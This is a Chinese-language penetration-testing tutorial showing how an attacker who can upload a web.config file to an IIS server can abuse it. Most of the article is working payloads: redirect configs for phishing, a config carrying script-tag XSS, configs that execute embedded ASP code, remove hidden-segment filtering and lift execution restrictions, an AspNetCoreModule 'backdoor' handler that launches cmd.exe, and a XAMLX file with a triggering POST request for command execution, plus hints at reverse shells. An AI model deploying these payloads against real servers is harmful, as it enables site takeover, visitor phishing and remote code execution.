Web.config在滲透中的作用

合天網安實驗室 發佈 2020-01-20T02:14:24+00:00

使用web.config進行rce這個跟執行asp代碼原理上差不多,主要是使用AspNetCoreModule模塊去調用cmd進行命令執行。

原創 lengyi 合天智匯

前言

 本文主要介紹web.config文件在滲透中的作用,即可上傳一個web.config時的思路,話不多說,開始正題。首先我們來看一下web.config是什麼,援引百度百科的介紹: 

Web.config文件是一個XML文本文件,它用來儲存ASP.NETWeb 應用程式的配置信息,它可以出現在應用程式的每一個目錄中。在運行時對Web.config文件的修改不需要重啟服務就可以生效.

關鍵詞:xml文本、.net配置、無需重啟,這幾個特性就決定了其在滲透中的作用,我們來看下具體操作。

以下實驗環境為:

windows server 2008

iis 7

.net 3.5

具體利用

(一)使用web.config進行重定向釣魚

首先通過實驗了解什麼是重定向:數據流重定向http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014091814145000001(數據流重定向就是將某個指令執行後應該要出現在螢幕上的數據,將它們傳輸到其他的地方。)

在iis中有一項為url redirect也就是用來進行url重定向的,當我們可以長傳一個web.config的時候我們就可以使用這種方式來進行釣魚攻擊,在這裡要注意的是,不同的iis版本的配置稍有不同,以本次環境中的iis7為例,假如我們想讓目標網站跳轉到baidu,我們只需要這樣寫我們的web.config:

<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <httpRedirect enabled="true" destination="https://www.baidu.com/" />    </system.webServer></configuration>

中間的一行為我們具體實現的代碼,即開啟重定向並重定向到百度,剩下的都是服務默認的自帶的,相當於模板,此時我們訪問目標站點,就會跳轉到baidu了。

而大於等於iis7版本就稍微複雜一些,因為在這之後多了一個url write功能,其中包含了url重定向,所以很多開發選擇使用這個功能進行操作。我們來看一下,如果為url write該如何去做。假如我們在url write定義了一個規則為:為所有不帶斜槓(/)的網址,自動加上斜槓(/),比如下圖這樣:

那麼我們的web.config就會自動生成以下內容:

<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <rewrite>            <rules>                <rule name="AddTrailingSlashRule1" stopProcessing="true">                    <match url="(.*[^/])$" />                    <conditions>                        <add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />                        <add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />                    </conditions>                    <action type="Redirect" url="{R:1}/" />                </rule>            </rules>        </rewrite>    </system.webServer></configuration>

看起來有些難懂,下面稍微給大家說一下,首先在url write分為入站規則(<rules>)和出站規則(<outboundRules>)他們需要寫在<system.webServer>的<rewrite>元素內,我們一般釣魚只考慮入站規則,AddTrailingSlashRule1為一個新的規則名字,可隨意定義,若stopProcessing指定為true則若當前請求與規則匹配,則不再匹配其他請求。<match>為進行匹配的url,一般使用正則表達式的形式,而<action>元素告訴IIS如何處理與模式匹配的請求,使用type屬性來進行處理,一般有以下幾個:


  • None:
  • Rewrite:將請求重寫為另一個URL。
  • Redirect:將請求重定向到另一個URL。
  • CustomResponse:向客戶返回自定義響應。
  • AbortRequest:刪除請求的HTTP連接。

而redirectType屬性指定要使用永久重定向還是臨時重定向。剩下的大家可以查閱msdn上面的手冊,寫的非常詳細。說了這麼多,估計大家就能明白怎麼去寫web.config了,給出大家一個url write的web.config釣魚模板,可自行進行修改:

<rule name="RedirectToHTTPS" stopProcessing="true">  <match url="(.*)" />  <conditions>    <add input="{HTTPS}" pattern="off" ignoreCase="true" />  </conditions>  <action type="Redirect" url="https://{SERVER_NAME}/{R:1}" redirectType="Permanent" /></rule>

因為web.config不需要重啟服務,所以當我們能夠傳一個web.config上去的時候,我們也就達到了我們的目的,也有可能運維人員已經寫好了一些規則,我們不想貿然驚動管理者的話,如果此時我們可以上傳.shtm或.shtml文件,並使用以下代碼來讀取web.config的內容。

<!-- test.shtml --><!--#include file="/web.config" -->

並根據讀取的內容來進行後續操作。

(二)使用web.config進行xss

這是一種比較古老的技術,依靠web.config的name屬性,來構造一個xss,前提是iis6或者更低的版本不支持這類攻擊,假設我們上傳的web.config內容如下:

<?xml version="1.0" encoding="UTF-8"?><configuration>   <system.webServer>      <handlers>         <!-- XSS by using *.config -->         <add name="web_config_xss<script>alert('xss1')</script>" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />         <!-- XSS by using *.test -->         <add name="test_xss<script>alert('xss2')</script>" path="*.test" verb="*"  />      </handlers>      <security>         <requestFiltering>            <fileExtensions>               <remove fileExtension=".config" />            </fileExtensions>            <hiddenSegments>               <remove segment="web.config" />            </hiddenSegments>         </requestFiltering>      </security>   <httpErrors existingResponse="Replace" errorMode="Detailed" />   </system.webServer></configuration>

則我們訪問該文件時則會彈出xss

(三)使用web.config運行asp代碼

這類攻擊方法其實也不是什麼很稀奇的技術,因為web.config可以操控iis伺服器,那麼我們可以去調用system32\inetsrv\asp.dll文件,來達到運行任意asp代碼的目的。比如下面這樣:

<?xml version="1.0" encoding="UTF-8"?><configuration>   <system.webServer>      <handlers accessPolicy="Read, Script, Write">         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />              </handlers>      <security>         <requestFiltering>            <fileExtensions>               <remove fileExtension=".config" />            </fileExtensions>            <hiddenSegments>               <remove segment="web.config" />            </hiddenSegments>         </requestFiltering>      </security>   </system.webServer></configuration><%Response.write("-"&"->")' it is running the ASP code if you can see 3 by opening the web.config file!Response.write(1+2)Response.write("<!-"&"-")%>

此時訪問文件,則會輸出3,運行其他的代碼同理哦。

(四)使用web.config繞過hidden segments

在iis7以後,微軟為了增加其安全性增加了hidden segments功能對應請求過濾模塊,也就是對一些不想讓其他人訪問的東西進行過濾,在被訪問時返回給客戶端一個404.8的狀態碼。一般在web.config中使用<hiddenSegments>來進行指定隱藏的值。比如我們設置了一個文件夾為hiddenSegments,那麼在訪問時就是下圖這種情況。

比如文件夾為_private則對應生成的web.config內容如下

<configuration>   <system.webServer>      <security>         <requestFiltering>            <hiddenSegments applyToWebDAV="false">               <add segment="_private" />            </hiddenSegments>         </requestFiltering>      </security>   </system.webServer></configuration>

而此時我們可以通過上傳web.config的形式,來繞過這種過濾。

<?xml version="1.0" encoding="UTF-8"?><configuration>    <system.webServer>        <security>            <requestFiltering>                <hiddenSegments>                    <remove segment="bin" />                    <remove segment="App_code" />                    <remove segment="App_GlobalResources" />                    <remove segment="App_LocalResources" />                    <remove segment="App_Browsers" />                    <remove segment="App_WebReferences" />                    <remove segment="App_Data" />          <!--Other IIS hidden segments can be listed here -->                </hiddenSegments>            </requestFiltering>        </security>    </system.webServer></configuration>

因為過濾的本質是使用的APP_Data或者App_GlobalResources進行的add,我們將其remove掉即可。

(五)使用web.config進行rce

這個跟執行asp代碼原理上差不多,主要是使用AspNetCoreModule模塊去調用cmd進行命令執行。

<?xml version="1.0" encoding="utf-8"?><configuration>    <system.webServer>      <handlers>        <remove name="aspNetCore" />         <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />      </handlers>      <aspNetCore processPath="cmd.exe" arguments="/c calc"/>    </system.webServer></configuration>

這個過程通過去訪問伺服器上的backdoor.me進行觸發,因為是在服務端進行執行的,這時候我們可以如調用powershell,來返回一個反向的shell。

(六)使用系統秘鑰來反序列化進行rce

這個是一種.net的反序列化操作,有興趣的朋友可以參考orange師傅在hicton上出的題https://xz.aliyun.com/t/3019

(七)使用web.config啟用 XAMLX來getshell

XAMLX文件一般用於工作流服務,使用消息活動來發送和接收Windows Communication Foundation(WCF)消息的工作流。而我們可以使用該文件進行命令執行,一般有兩種方法,一種是反序列化,另一種就是其本身的文件瀏覽功能在瀏覽上傳的文件時,執行命令。以第二種為例,代碼內容如下:

<WorkflowService ConfigurationName="Service1" Name="Service1" xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" > <p:Sequence DisplayName="Sequential Service"> <TransactedReceiveScope Request="{x:Reference __r0}"> <p1:Sequence > <SendReply DisplayName="SendResponse" > <SendReply.Request> <Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" /> </SendReply.Request> <SendMessageContent> <p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]</p1:InArgument> </SendMessageContent> </SendReply> </p1:Sequence> </TransactedReceiveScope> </p:Sequence></WorkflowService>

發送一個post請求即可調用該文件進行命令執行:

POST /uploaded.xamlx HTTP/1.1Host: 192.168.0.105SOAPAction: testmeContent-Type: text/xmlContent-Length: 94<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body/></s:Envelope>

所以我們也可以使用這種方法來進行反彈shell。

但是該文件並非全部開啟,若目標伺服器啟用了WCF服務我們可以使用下面的web.config進行啟用這類文件

<?xml version="1.0" encoding="UTF-8"?><configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="xamlx" path="*.xamlx" verb="*" type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" /> <add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" /> </handlers> <validation validateIntegratedModeConfiguration="false" /> </system.webServer></configuration>

(八)使用web.config繞過執行限制

在一個可讀寫的目錄里無法執行腳本, 可以通過上傳特殊的 web.config 文件突破限制.比如這種:

<?xml version="1.0" encoding="utf-8"?><configuration>    <system.webServer>        <handlers accessPolicy="Read, Write, Execute, Script" />    </system.webServer></configuration>

上傳後即可訪問、運行代碼。

總結

除了這些還有像存儲型xss、json攻擊等因為各類限制較多,本人沒有在文中指出,有興趣的可以自行了解。

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!

關鍵字: